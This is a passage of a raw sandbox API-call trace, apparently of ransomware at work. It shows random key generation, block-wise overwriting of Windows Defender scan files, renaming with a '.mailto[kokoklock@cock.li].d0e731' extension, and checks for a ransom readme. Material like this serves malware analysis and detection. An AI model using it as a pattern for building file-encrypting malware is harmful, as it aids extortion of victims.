Size=0x20) returned 0x3492f50 [0078.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fa0 [0078.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fa0) returned 1 [0078.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0078.753] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x213bf798, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x213bf798*=0x4096, lpOverlapped=0x0) returned 1 [0078.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.753] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x3b0ff6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.753] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x213bf798, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x213bf798*=0x4096, lpOverlapped=0x0) returned 1 [0078.757] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x3b0ff6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0078.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0078.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f78 [0078.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f78) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.758] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f78 [0078.758] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fa0 [0078.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fa0) returned 1 [0078.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0078.758] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x213bf798, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x213bf798*=0x4096, lpOverlapped=0x0) returned 1 [0078.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.758] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492f28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x213bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x3492f28*, lpNumberOfBytesWritten=0x213bf7f4*=0x20, lpOverlapped=0x0) returned 1 [0078.758] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492f50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x213bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x3492f50*, lpNumberOfBytesWritten=0x213bf7f4*=0x20, lpOverlapped=0x0) returned 1 [0078.758] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492f78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x213bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x3492f78*, lpNumberOfBytesWritten=0x213bf7f4*=0x20, lpOverlapped=0x0) returned 1 [0078.758] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.758] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492ed8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x3492ed8*, lpNumberOfBytesWritten=0x213bf7fc*=0x8, lpOverlapped=0x0) returned 1 [0078.758] WriteFile (in: hFile=0x3f0, lpBuffer=0x213bf814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x213bf814*, lpNumberOfBytesWritten=0x213bf7fc*=0x4, lpOverlapped=0x0) returned 1 [0078.759] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x213bf7fc*=0x4, lpOverlapped=0x0) returned 1 [0078.759] WriteFile (in: hFile=0x3f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x213bf7fc*=0x6c, lpOverlapped=0x0) returned 1 [0078.759] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x213bf7fc*=0x20, lpOverlapped=0x0) returned 1 [0078.759] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x213bf7fc*=0x4, lpOverlapped=0x0) returned 1 [0078.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e38) returned 1 [0078.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.759] CloseHandle (hObject=0x3f0) returned 1 [0078.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0078.759] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" [0078.759] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79.mailto[kokoklock@cock.li].d0e731" [0078.759] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.760] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x820) returned 1 [0078.760] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0078.760] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79", dwFileAttributes=0x820) returned 0 [0078.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0078.760] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0078.760] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0078.760] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0078.760] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0078.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a560) returned 1 [0078.761] RtlExitUserThread (Status=0x1) Thread: id = 910 os_tid = 0x153c [0078.747] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c")) returned 0x820 [0078.754] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C", dwFileAttributes=0x20) returned 1 [0078.754] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0078.754] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x2143fad4 | out: lpFileSize=0x2143fad4*=5410816) returned 1 [0078.754] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x528ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.754] ReadFile (in: hFile=0x5cc, lpBuffer=0x2143faa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x2143faa8*, lpNumberOfBytesRead=0x2143faa4*=0x4, lpOverlapped=0x0) returned 1 [0078.762] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e38 [0078.762] NtQuerySystemTime (in: CurrentTime=0x2143fa80 | out: CurrentTime=0x2143fa80*=132121176366573272) returned 0x0 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xf16efddc [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xe44ef1f8 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x5bac0af2 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xdda6f66c [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xbc865761 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x74aeeb94 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x6c91407b [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xd4786c53 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x8bb3ff00 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x621767fd [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xdf7af361 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x67b54f63 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x15e0ae8b [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x2e9c9347 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xc3fda710 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xbb6dd9f6 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x8971e564 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xf9cdcd05 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x9588fab8 [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xe7869a1e [0078.762] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x8e87eec9 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x98b9b73e [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xd06bfda8 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x91e4b2a4 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x4c361920 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x38ead97e [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xf54ca858 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x1e532125 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x322508a [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x94b0f363 [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0x80d963b [0078.763] RtlRandom (in: Seed=0x2143fa8c | out: Seed=0x2143fa8c) returned 0xaa500d48 [0078.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.774] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.774] ReadFile (in: hFile=0x5cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2143fa40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2143fa40*=0x4096, lpOverlapped=0x0) returned 1 [0078.777] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fc8 [0078.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fc8) returned 1 [0078.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fc8 [0078.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.778] WriteFile (in: hFile=0x5cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2143fa40, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2143fa40*=0x4096, lpOverlapped=0x0) returned 1 [0078.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.778] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x296018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.778] ReadFile (in: hFile=0x5cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2143fa40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2143fa40*=0x4096, lpOverlapped=0x0) returned 1 [0078.779] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x296018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0078.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0078.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493018 [0078.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493018) returned 1 [0078.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0078.780] WriteFile (in: hFile=0x5cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2143fa40, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2143fa40*=0x4096, lpOverlapped=0x0) returned 1 [0078.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.780] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x524f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.780] ReadFile (in: hFile=0x5cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2143fa40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2143fa40*=0x4096, lpOverlapped=0x0) returned 1 [0078.781] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x524f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0078.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0078.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493018 [0078.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493018) returned 1 [0078.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493018 [0078.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493298 [0078.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493298) returned 1 [0078.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2143fa40, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2143fa40*=0x4096, lpOverlapped=0x0) returned 1 [0078.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492fc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2143fa9c, lpOverlapped=0x0 | out: lpBuffer=0x3492fc8*, lpNumberOfBytesWritten=0x2143fa9c*=0x20, lpOverlapped=0x0) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492ff0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2143fa9c, lpOverlapped=0x0 | out: lpBuffer=0x3492ff0*, lpNumberOfBytesWritten=0x2143fa9c*=0x20, lpOverlapped=0x0) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x3493018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2143fa9c, lpOverlapped=0x0 | out: lpBuffer=0x3493018*, lpNumberOfBytesWritten=0x2143fa9c*=0x20, lpOverlapped=0x0) returned 1 [0078.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x3492fa0*, lpNumberOfBytesWritten=0x2143faa4*=0x8, lpOverlapped=0x0) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x2143fabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x2143fabc*, lpNumberOfBytesWritten=0x2143faa4*=0x4, lpOverlapped=0x0) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2143faa4*=0x4, lpOverlapped=0x0) returned 1 [0078.782] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2143faa4*=0x6c, lpOverlapped=0x0) returned 1 [0078.783] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2143faa4*=0x20, lpOverlapped=0x0) returned 1 [0078.783] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2143faa4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2143faa4*=0x4, lpOverlapped=0x0) returned 1 [0078.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fa0) returned 1 [0078.783] CloseHandle (hObject=0x5cc) returned 1 [0078.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0078.783] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" [0078.783] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.mailto[kokoklock@cock.li].d0e731" [0078.783] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.784] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x820) returned 1 [0078.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0078.784] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C", dwFileAttributes=0x820) returned 0 [0078.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0078.784] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0078.784] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0078.784] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0078.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0078.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a640) returned 1 [0078.784] RtlExitUserThread (Status=0x1) Thread: id = 911 os_tid = 0x1540 [0078.776] GetFileAttributesW 